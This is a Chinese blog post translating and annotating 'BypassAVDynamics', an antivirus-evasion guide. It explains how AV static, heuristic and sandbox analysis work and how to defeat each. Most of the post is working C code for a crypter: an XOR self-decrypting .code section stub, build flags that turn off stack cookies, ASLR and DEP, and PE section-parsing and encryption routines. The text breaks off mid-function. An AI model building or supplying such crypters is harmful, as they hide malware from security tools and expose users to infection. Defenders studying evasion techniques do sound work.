<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      BypassAVDynamics[译] 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        BypassAVDynamics[译]
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2022-07-02
      </span>

                                                                        <span class="post-pubtime"> 本文共7.6k字 </span>

                                                                        <span class="post-pubtime">
        大约需要48min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/%E5%85%8D%E6%9D%80/" title="免杀">
            <b>#</b> 免杀
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>本文译的是《BypassAVDynamics》，也不能算译文，主要写自己读完之后学到的东西</p>
<p>好久之前的文章了，vt应该查杀挺多的，没测试</p>
<p>need read：</p>
<blockquote>
<p>  <a target="_blank" rel="noopener" href="https://blog.sevagas.com/?PE-injection-explained">PE注入</a></p>
<p>  这个应该写过，win32那里…</p>
</blockquote>
<p>[toc]</p>
<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>绕过AV的两大步骤：</p>
<ul>
<li>恶意代码的隐藏，通常使用加密完成</li>
<li>对解密存根进行编码，使其不会被检测为病毒，也不会被病毒绕过沙箱</li>
</ul>
<p>本文主要是第二种，欺骗绕过沙箱。</p>
<h1 id="免杀原理"><a href="#免杀原理" class="headerlink" title="免杀原理"></a>免杀原理</h1><h2 id="静态分析"><a href="#静态分析" class="headerlink" title="静态分析"></a>静态分析</h2><p>静态分析基于黑名单的方法，当AV分析师得到一个恶意样本，会提取一个签名，或者说特征码，特征码是基于特殊的代码和数据。特征码通常是使用可执行文件的第一个执行字节来构造的。</p>
<p>AV拥有包含数百万个签名的数据库，并将扫描后的代码与该数据库进行匹配比较。</p>
<p>第一代AV使用上述方法，现在仍在使用，同时结合了启发式与动态分析。</p>
<p>YARA这款工具可以用于创建规则来分类和识别恶意软件。这些规则被上传到AV和逆向工具中。YARA 可以在 <a target="_blank" rel="noopener" href="https://www.77169.net/go?url=http://plusvic.github.io/yara/">http://plusvic.github.io/yara/</a>找到。</p>
<p>基于这种的分析方法不能够检测新的恶意软件。所以想要绕过基于特征码的分析，可以构建一个新的代码或者做一些小的修改，</p>
<h2 id="静态启发式分析"><a href="#静态启发式分析" class="headerlink" title="静态启发式分析"></a>静态启发式分析</h2><p>在这种情况下，AV 将检查代码中已知存在于恶意软件中的模式。 有很多可能的规则，这取决于供应商。 这些规则通常没有描述（我想避免它们太容易被绕过）所以并不总是容易理解为什么 AV 认为软件是恶意的。 启发式分析的主要资产是它可以用来检测新的不在签名数据库中的恶意软件。 主要缺点是它会产生误报。</p>
<p>一个例子:函数<a target="_blank" rel="noopener" href="https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-callnexthookex?redirectedfrom=MSDN">CallNextHookEx</a>一般被用户态的键盘记录器使用。一些杀软认为这个函数的用法是一个威胁，如果这个函数的名字在可执行文件中被检测到，将发出一个关于这个软件启发式的警告。</p>
<p>一个例子：一段代码打开“explorer.exe”进程，尝试写一些代码到其虚拟内存空间，这也被考虑为恶意的行为。</p>
<p>最容易的绕过启发式分析的方法是，确保所有的恶意代码是隐藏的。对于这个，编写解密的代码是最常用的方法。如果在解密之前，没有触发警告，如果这个解密Stub在解密完没有产生一些一般被认为恶意的行为，那么这个恶意软件不会被检测出来。</p>
<p><a target="_blank" rel="noopener" href="https://blog.sevagas.com/?Code-segment-encryption">https://blog.sevagas.com/?Code-segment-encryption</a></p>
<p><a target="_blank" rel="noopener" href="https://blog.sevagas.com/Hide-meterpreter-shellcode-in-executable">https://blog.sevagas.com/Hide-meterpreter-shellcode-in-executable</a></p>
<h2 id="动态分析"><a href="#动态分析" class="headerlink" title="动态分析"></a>动态分析</h2><p>如今大部分AV都是用动态的方法，当一个可执行文件被扫描，他将会在虚拟的环境中运行一小段时间。将此与签名验证和启发式分析相结合，可以检测未知恶意软件，即使是那些依赖加密的恶意软件。实际上，代码是在 AV 沙箱中自行解密的； 然后，对“新代码”的分析可能会引发一些可疑行为。如果使用加密&#x2F;解密stub来隐藏恶意软件，倘若他们跳过解密阶段，大部分的AV会检测到它。</p>
<p>也就意味着，绕过动态分析依赖两个方面：</p>
<ul>
<li>具有不可检测的自解密机制（如启发式机制）</li>
<li>阻止AV执行解密stub</li>
</ul>
<h2 id="杀软的局限性"><a href="#杀软的局限性" class="headerlink" title="杀软的局限性"></a>杀软的局限性</h2><p>三个主要的局限性：</p>
<ul>
<li>扫描必须快</li>
<li>环境是模拟的，因此不知道机器和恶意软件环境的特殊性</li>
<li>仿真&#x2F;沙盒系统有一些可以被恶意软件检测出来的差异性</li>
</ul>
<h1 id="代码段加密"><a href="#代码段加密" class="headerlink" title="代码段加密"></a>代码段加密</h1><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><blockquote>
<p>  <a target="_blank" rel="noopener" href="https://blog.sevagas.com/?Code-segment-encryption">https://blog.sevagas.com/?Code-segment-encryption</a></p>
</blockquote>
<h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>PE的经典构成：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">======================</span><br><span class="line">	PE Headers</span><br><span class="line">======================</span><br><span class="line">	.textbss segment</span><br><span class="line">======================</span><br><span class="line">	.text segment</span><br><span class="line">======================</span><br><span class="line">	.rdata segment</span><br><span class="line">======================</span><br><span class="line">	.data segment</span><br><span class="line">======================</span><br><span class="line">	.rsrc segment</span><br><span class="line">======================</span><br></pre></td></tr></table></figure>

<ul>
<li><p>.textbss：为空，用于在虚拟内存中为未初始化的全局变量预留空间</p>
</li>
<li><p>.text：可执行代码</p>
</li>
<li><p>.rdata：包含只读数据它用于全局常量（包括字符串）。eg：<code>printf(&quot;hello&quot;);</code>“hello” 中进入**.rdata**。</p>
</li>
<li><p>.data：已初始化的非常量全局变量，全局变量<code>char var[] =  &quot;var&quot;;</code>不是一个常量字符串，它是一个数组并且在 .data 中。</p>
</li>
<li><p>.rsrc：资源文件</p>
</li>
</ul>
<p>运行起来后（差异并不大）：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">======================</span><br><span class="line">	Environment variables</span><br><span class="line">======================</span><br><span class="line">	Stack</span><br><span class="line">----------------------------------------</span><br><span class="line">	Heap</span><br><span class="line">======================</span><br><span class="line">	.textbss segment</span><br><span class="line">======================</span><br><span class="line">	.text segment</span><br><span class="line">======================</span><br><span class="line">	.rdata segment</span><br><span class="line">======================</span><br><span class="line">	.data segment</span><br><span class="line">======================</span><br><span class="line">	.rsrc segment</span><br><span class="line">======================</span><br></pre></td></tr></table></figure>

<p>下面：修改一个应用程序（目标），使另一个应用程序可以加密它的一个段。我们还希望目标应用程序在运行时自行解密。</p>
<ul>
<li>.code段将被加密</li>
<li>.stub用于解密.code段</li>
</ul>
<h3 id="工具"><a href="#工具" class="headerlink" title="工具"></a>工具</h3><p>dumpbin，使用这个可以查看pe的东西</p>
<h2 id="调整目标软件"><a href="#调整目标软件" class="headerlink" title="调整目标软件"></a>调整目标软件</h2><h3 id="创建-code段"><a href="#创建-code段" class="headerlink" title="创建.code段"></a>创建.code段</h3><p>创建新段使用：<code>#pragma section</code></p>
<p>创建code段</p>
<p>在示例中，希望将可执行代码放入.code段中</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Your system includes */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;windows.h&gt;</span></span></span><br><span class="line"> </span><br><span class="line"><span class="comment">/* Declare .code as a read/write/execute segment */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> section(<span class="meta-string">&quot;.code&quot;</span>,execute, read, write)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(linker,<span class="meta-string">&quot;/SECTION:.code,ERW&quot;</span>)</span></span><br><span class="line"> </span><br><span class="line"><span class="comment">/* .code 段开始（下面所有生成的可执行代码都将进入 .code 段）*/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> code_seg(<span class="meta-string">&quot;.code&quot;</span>)</span></span><br></pre></td></tr></table></figure>

<h3 id="创建解密stub"><a href="#创建解密stub" class="headerlink" title="创建解密stub"></a>创建解密stub</h3><p>为什么我们需要一个 .stub 段，因为我们不加密所有代码？好吧，我们需要加密器能够修补目标自解密例程，并且我们想要修补的代码将更容易在 .stub 部分中找到。本文的变体也可用于将所有段合并为一个（.code）。所以有 .stub 部分更通用。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"> </span><br><span class="line"><span class="comment">// .stub SECTION</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> section(<span class="meta-string">&quot;.stub&quot;</span>, execute, read, write)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> code_seg(<span class="meta-string">&quot;.stub&quot;</span>)</span></span><br><span class="line"> </span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CODE_BASE_ADDRESS	0x15151515 <span class="comment">// 指向原始数据的dumpbin文件指针 (do not change, this will be patched by cryptor)</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CODE_SIZE			0x14141414 <span class="comment">// 虚拟内存的dumpbin大小 (do not change, this will be patched by cryptor)</span></span></span><br><span class="line"> </span><br><span class="line"><span class="comment">/* Decrypt .code block encrypted by cryptor */</span></span><br><span class="line"><span class="comment">/* In this function do not declare array to avoid security cookies checks (see http://msdn.microsoft.com/en-us/library/8dbf701c.aspx) */</span></span><br><span class="line"><span class="comment">/* Or disable security check (GS- option) on prog compilation */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">decryptCodeSection</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	<span class="keyword">unsigned</span> <span class="keyword">char</span> *ptr;</span><br><span class="line">	<span class="keyword">long</span> <span class="keyword">int</span> i;</span><br><span class="line">	<span class="keyword">long</span> <span class="keyword">int</span> nbytes;</span><br><span class="line">	<span class="keyword">int</span> cpt = <span class="number">0</span>;</span><br><span class="line">	BYTE  key[] = &#123; <span class="string">&#x27;1&#x27;</span>,<span class="string">&#x27;2&#x27;</span>,<span class="string">&#x27;3&#x27;</span>,<span class="string">&#x27;4&#x27;</span>,<span class="string">&#x27;5&#x27;</span>,<span class="string">&#x27;6&#x27;</span>,<span class="string">&#x27;7&#x27;</span>,<span class="string">&#x27;8&#x27;</span>,<span class="string">&#x27;\0&#x27;</span>&#125;;<span class="comment">/* 注意：如果您打算加密 .rdata 段，请避免使用字符串 */</span></span><br><span class="line">	<span class="keyword">int</span> keyLength = <span class="number">8</span>;</span><br><span class="line">	ptr = (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)CODE_BASE_ADDRESS;<span class="comment">/* 这将由cryptor修补*/</span></span><br><span class="line">	nbytes = CODE_SIZE;<span class="comment">/* 这将由cryptor修补*/</span></span><br><span class="line"> </span><br><span class="line">	<span class="comment">// decrypt code segment    </span></span><br><span class="line">    <span class="keyword">for</span>( i = <span class="number">0</span> ; i &lt; nbytes ; i++ )</span><br><span class="line">    &#123;</span><br><span class="line">		ptr[i]=ptr[i]^key[cpt];</span><br><span class="line">		cpt = cpt + <span class="number">1</span>;</span><br><span class="line">		<span class="keyword">if</span>(cpt == keyLength)</span><br><span class="line">			cpt = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">	<span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="comment">/* Program first entry function */</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	decryptCodeSection();</span><br><span class="line">	realmain(); <span class="comment">/* Call decrypted program entry point */</span></span><br><span class="line">	<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h3 id="编译链接选项"><a href="#编译链接选项" class="headerlink" title="编译链接选项"></a>编译链接选项</h3><p>因为目标会自我修改自己，所以我们必须避免使用安全 cookie（用于堆栈验证）。为此，我们需要删除安全检查。因此，下一个编译选项是强制性的：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/GS-  -&gt; Disable functions stack verification relying on secure cookies</span><br></pre></td></tr></table></figure>

<p>另一个选项几乎是强制性的，静态包含运行时库。如果目标中未包含 Microsoft 运行时库，则此代码将起作用，但您将面临可移植性问题。<br>使用接下来的两个运行时库选项之一。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/MTD -&gt; <span class="keyword">for</span> debug</span><br><span class="line">/MT  -&gt; <span class="keyword">for</span> release</span><br></pre></td></tr></table></figure>

<p>为了避免复杂化，我们希望修复地址并删除数据执行预防。为此，我们必须使用链接器的下一个选项。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/DYNAMICBASE:NO</span><br><span class="line">/FIXED</span><br><span class="line">/NXCOMPAT:NO</span><br></pre></td></tr></table></figure>

<h2 id="构建加密器"><a href="#构建加密器" class="headerlink" title="构建加密器"></a>构建加密器</h2><h3 id="获取需要的信息"><a href="#获取需要的信息" class="headerlink" title="获取需要的信息"></a>获取需要的信息</h3><p>加密器的作用是加密目标程序的 .code 段以及修补 .stub 段，以便目标在启动时能够自解密。<br>为此，密码器将浏览上一节中生成的二进制文件，并找到 .code 和 .stub 段的地址和大小。我们需要文件偏移量（修改二进制目标）和虚拟内存地址（向目标程序指示他应该在运行时解密的段在哪里）。</p>
<p>首先，需要使用 CreateFileMapping 和 MapViewOfFile 将文件映射到内存中。我没有对此代码进行任何功能修改。它可以在书中或在互联网上找到。<br>完成此操作后，我们解析映射文件以获取节标题信息。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Get information of .code and .stub segments</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">getSegmentsInfo</span><span class="params">(LPVOID baseAddress, SEGMENT_INFO_PTR codeSegmentInfo, SEGMENT_INFO_PTR stubSegmentInfo)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    PIMAGE_DOS_HEADER dosHeader;</span><br><span class="line">    PIMAGE_NT_HEADERS peHeader;</span><br><span class="line">    IMAGE_OPTIONAL_HEADER32 optionalHeader;</span><br><span class="line"></span><br><span class="line">    dosHeader = (PIMAGE_DOS_HEADER)baseAddress;</span><br><span class="line">    <span class="keyword">if</span> (((*dosHeader).e_magic) != IMAGE_DOS_SIGNATURE)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;getSegmentsInfo: Dos signature not matched\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;getSegmentsInfo: Dos signature=%X\n&quot;</span>, (*dosHeader).e_magic);</span><br><span class="line"></span><br><span class="line">    peHeader = (PIMAGE_NT_HEADERS)((DWORD)baseAddress + (*dosHeader).e_lfanew);</span><br><span class="line">    <span class="keyword">if</span> (((*peHeader).Signature) != IMAGE_NT_SIGNATURE)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;getSegmentsInfo: PE signature not matched\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;getSegmentsInfo: PE signature=%X\n&quot;</span>, (*peHeader).Signature);</span><br><span class="line"></span><br><span class="line">    optionalHeader = (*peHeader).OptionalHeader;</span><br><span class="line">    <span class="keyword">if</span> ((optionalHeader.Magic) != <span class="number">0x10B</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;getSegmentsInfo: Optional header magic number does not match\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;getSegmentsInfo: OPtional header magic nb=%X\n&quot;</span>, optionalHeader.Magic);</span><br><span class="line"></span><br><span class="line">    (*codeSegmentInfo).moduleBase = optionalHeader.ImageBase;</span><br><span class="line">    (*stubSegmentInfo).moduleBase = optionalHeader.ImageBase;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;getSegmentsInfo: # sections=%d\n&quot;</span>, (*peHeader).FileHeader.NumberOfSections);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Fill code information with content of code segment */</span></span><br><span class="line">    TraverseSectionHeaders(IMAGE_FIRST_SECTION(peHeader), (*peHeader).FileHeader.NumberOfSections, codeSegmentInfo, <span class="string">&quot;.code&quot;</span>);</span><br><span class="line">    TraverseSectionHeaders(IMAGE_FIRST_SECTION(peHeader), (*peHeader).FileHeader.NumberOfSections, stubSegmentInfo, <span class="string">&quot;.stub&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>下一个函数用于获取任何部分的下一个信息：</p>
<ul>
<li>原始文件中的段偏移量</li>
<li>文件段大小</li>
<li>段的虚拟内存偏移量</li>
</ul>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Look for sectionName segment in mapped file</span></span><br><span class="line"><span class="comment"> * addrInfo will be filled with the segment information</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">TraverseSectionHeaders</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    PIMAGE_SECTION_HEADER section,</span></span></span><br><span class="line"><span class="params"><span class="function">    DWORD nSections,</span></span></span><br><span class="line"><span class="params"><span class="function">    SEGMENT_INFO_PTR addrInfo,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="keyword">char</span> *sectionName)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    DWORD i;</span><br><span class="line">    <span class="comment">/* Copy pointer to initial section (so this function can be called several times) */</span></span><br><span class="line">    PIMAGE_SECTION_HEADER localSection = section;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n\nTraverseSectionHeaders: searching for segment in section headers\n&quot;</span>);</span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; nSections; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;     ====================     \n&quot;</span>);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\tName:			%s\n&quot;</span>, (*section).Name);</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">strcmp</span>((*section).Name, sectionName) == <span class="number">0</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            (*addrInfo).fileSegmentOffset = (*section).PointerToRawData; <span class="comment">/* Location of segment in binary file*/</span></span><br><span class="line">            (*addrInfo).fileSegmentSize = (*section).SizeOfRawData;      <span class="comment">/* Size of segment */</span></span><br><span class="line">            (*addrInfo).memorySegmentOffset = (*section).VirtualAddress; <span class="comment">/* Offset of segment in memory at runtime */</span></span><br><span class="line">        &#125;</span><br><span class="line">        section = section + <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h2 id="加密目标段"><a href="#加密目标段" class="headerlink" title="加密目标段"></a>加密目标段</h2><p>现在我们有了二进制文件中 .code 段的大小和位置，我们可以打开文件并加密想要的字节。<br>该代码并未真正优化，但对于调试目的非常实用。在这个函数中，我们：</p>
<ul>
<li>打开二进制目标文件</li>
<li>寻找 .code 段</li>
<li>在缓冲区中加载 .code 段</li>
<li>加密缓冲区</li>
<li>写入加密缓冲区代替明文 .code 段</li>
<li>关闭文件并离开</li>
</ul>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Encrypt .code segment bytes in the given file </span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">cipherBytes</span><span class="params">(<span class="keyword">char</span>* fileName, SEGMENT_INFO_PTR addrInfo)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	DWORD fileOffset;</span><br><span class="line">	DWORD 